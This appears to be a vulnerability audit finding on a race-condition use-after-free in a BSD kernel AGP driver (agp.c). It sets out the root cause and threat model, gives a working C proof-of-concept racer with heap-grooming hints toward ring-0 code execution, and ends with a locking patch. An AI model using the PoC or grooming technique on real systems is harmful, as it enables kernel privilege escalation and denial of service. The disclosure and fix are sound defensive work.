Summary

agp_find_memory() walks sc->as_memory and returns a raw struct agp_memory pointer WITHOUT holding as_lock, and agp_generic_free_memory() also takes no lock when it TAILQ_REMOVEs and kfree()s the same object. The agp_{bind,unbind,deallocate}_user() ioctls dereference the pointer returned by find_memory on a path where a concurrent thread can already have freed it, producing a kernel use-after-free.

Root cause

agp_find_memory() at agp.c:675-688 iterates TAILQ_FOREACH(mem, &sc->as_memory, am_link) with no lock — the comment at agp.c:227-230 only claims the lock guards re-entry into bind, not list integrity.

agp_generic_free_memory() at agp.c:487-500 unconditionally mutates the list (TAILQ_REMOVE at line 496) and kfree()s mem (line 498) WITHOUT acquiring as_lock — verify against the lockmgr() grep: as_lock is acquired at lines 511/611 (bind/unbind) but never inside free_memory.

Callers agp_bind_user (745-754), agp_unbind_user (756-765) and agp_deallocate_user (732-743) each do mem = agp_find_memory(...) then immediately call AGP_BIND_MEMORY/UNBIND_MEMORY/FREE_MEMORY which only then (for bind/unbind) take as_lock at line 511/611 and dereference mem->am_is_bound (513), mem->am_size (535), mem->am_obj (543).

Window: thread A's find_memory returns mem; thread B's DEALLOCATE ioctl on the same key races ahead, calls agp_generic_free_memory which kfrees mem; thread A re-enters agp_generic_bind_memory, takes the lock, and dereferences the freed pointer at line 513 (mem->am_is_bound) and line 543 (vm_page_grab(mem->am_obj, ...)).

TAILQ_FOREACH under concurrent TAILQ_REMOVE is itself unsafe — stale forward/back pointers can be followed. The same TOCTOU also lets agp_deallocate_user free a block that agp_bind_user is concurrently binding, and lets agp_close (line 800-804) free blocks out from under a concurrent ioctl in another fd.

Threat model

Attacker has read/write access to /dev/agpgart. The devnode is mode 0600 UID_ROOT GID_WHEEL (agp.c:240-241), so the realistic attacker is:

1. the X server, which historically runs as root and is the legitimate user of this device — an X server compromise (very common, e.g. via malicious GPU shader / driver) becomes a kernel privilege-escalation primitive
2. any system where the admin or distro has relaxed devfs rules to allow group access (e.g. video group, common on desktops)

On a default-config single-user workstation with setuid X, this is the bridge from userspace-root to ring-0. On securelevel > 0 systems where /dev/mem is locked down, this is one of the few remaining kernel-corruption primitives available to root.

Impact: UAF → type-confused deref of mem->am_obj → vm_page_grab on attacker-controlled fake vm_object → arbitrary kernel memory read/write → uid-0 / ring-0 code execution, or kernel panic for DoS.

Multi-threaded or two-process racing is required, both having opened /dev/agpgart (agp_open at 774-787 sets only a non-exclusive flag, so concurrent opens are allowed).

PoC

findings/poc/DF-1685/agp_race.c:

#include <fcntl.h>
#include <pthread.h>
#include <sys/ioctl.h>
#include <sys/agpio.h>
#include <stdio.h>
#include <unistd.h>

static int fd1, fd2;
static int key;

static void *binder(void *_) {
    for (;;) {
        ioctl(fd1, AGPIOC_BIND, &(agp_bind){.key=key, .pg_start=0});
    }
    return NULL;
}

int main(void) {
    fd1 = open("/dev/agpgart", O_RDWR);
    fd2 = open("/dev/agpgart", O_RDWR);
    ioctl(fd1, AGPIOC_ACQUIRE, 0);
    agp_allocate a = {.pg_count=1, .type=0};
    ioctl(fd1, AGPIOC_ALLOCATE, &a);
    key = a.key;

    pthread_t t;
    pthread_create(&t, NULL, binder, NULL);

    for (long i = 0; i < 100000; i++) {
        ioctl(fd2, AGPIOC_DEALLOCATE, &key);
        /* reallocate to refresh key for next race iter */
        a.pg_count = 1; a.type = 0;
        ioctl(fd1, AGPIOC_ALLOCATE, &a);
        key = a.key;
    }
    return 0;
}

Build: cc -O2 -pthread -o agp_race agp_race.c. Run as root. Success criterion: kernel panic (Fatal trap 12: page fault while in kernel mode reading bogus am_obj), or, with heap grooming (spray SCM_RIGHTS cmsg buffers of ~72 bytes into the freed slot before bind dereferences mem->am_obj), controlled kernel memory write observable via dmesg/uid flip.

Recommended fix

Serialize find_memory + bind/unbind/free operation under as_lock so the pointer returned by find_memory cannot be freed by another thread before it is dereferenced. Because agp_generic_bind_memory / agp_generic_unbind_memory already take as_lock internally, the lock must either be made recursive or the inner acquisition removed.

Minimal change:

1. take the lock at the start of every user entrypoint and around find_memory
2. make as_lock recursive with LK_CANRECURSE
3. make agp_generic_free_memory also acquire as_lock so DEALLOCATE cannot race with itself or with bind/unbind

--- a/sys/dev/agp/agp.c
+++ b/sys/dev/agp/agp.c
@@ -228,7 +228,7 @@ agp_generic_attach(device_t dev)
    /*
     * The lock is used to prevent re-entry to
-    * agp_generic_bind_memory() since that function can sleep.
+    * agp_generic_bind_memory() since that function can sleep, and
+    * to serialize find_memory + operation against concurrent
+    * free_memory on the same memory id.
     */
-   lockinit(&sc->as_lock, "agplk", 0, 0);
+   lockinit(&sc->as_lock, "agplk", 0, LK_CANRECURSE);
@@ -487,6 +487,8 @@ int
 agp_generic_free_memory(device_t dev, struct agp_memory *mem)
 {
    struct agp_softc *sc = device_get_softc(dev);
+
+   lockmgr(&sc->as_lock, LK_EXCLUSIVE);

    if (mem->am_is_bound) {
+       lockmgr(&sc->as_lock, LK_RELEASE);
        return EBUSY;
    }
@@ -498,6 +500,8 @@ agp_generic_free_memory(device_t dev, struct agp_memory *mem)
    TAILQ_REMOVE(&sc->as_memory, mem, am_link);
    vm_object_deallocate(mem->am_obj);
    kfree(mem, M_AGP);
+   lockmgr(&sc->as_lock, LK_RELEASE);
    return 0;
 }
@@ -745,12 +749,20 @@ static int
 agp_bind_user(device_t dev, agp_bind *bind)
 {
+   struct agp_softc *sc = device_get_softc(dev);
    struct agp_memory *mem;
+   int error;

+   lockmgr(&sc->as_lock, LK_EXCLUSIVE);
    mem = agp_find_memory(dev, bind->key);
-
-   if (!mem)
+   if (!mem) {
+       lockmgr(&sc->as_lock, LK_RELEASE);
        return ENOENT;
-
-   return AGP_BIND_MEMORY(dev, mem, bind->pg_start << AGP_PAGE_SHIFT);
+   }
+   error = AGP_BIND_MEMORY(dev, mem, bind->pg_start << AGP_PAGE_SHIFT);
+   lockmgr(&sc->as_lock, LK_RELEASE);
+   return error;
 }

Apply the same pattern to agp_unbind_user (756-765) and agp_deallocate_user (732-743). The kernel-API wrappers agp_bind_memory/agp_unbind_memory/agp_free_memory (lines 932-948) must also take the lock around find+op if used externally, or be audited to ensure all in-tree callers already serialize.

Related findings

• DF-1686 (off-by-one in agp_mmap aperture bounds)
• DF-1687 (agp_close wipes state on every close — amplifier for this bug)
• DF-1688 (signed int overflow in unbind loop)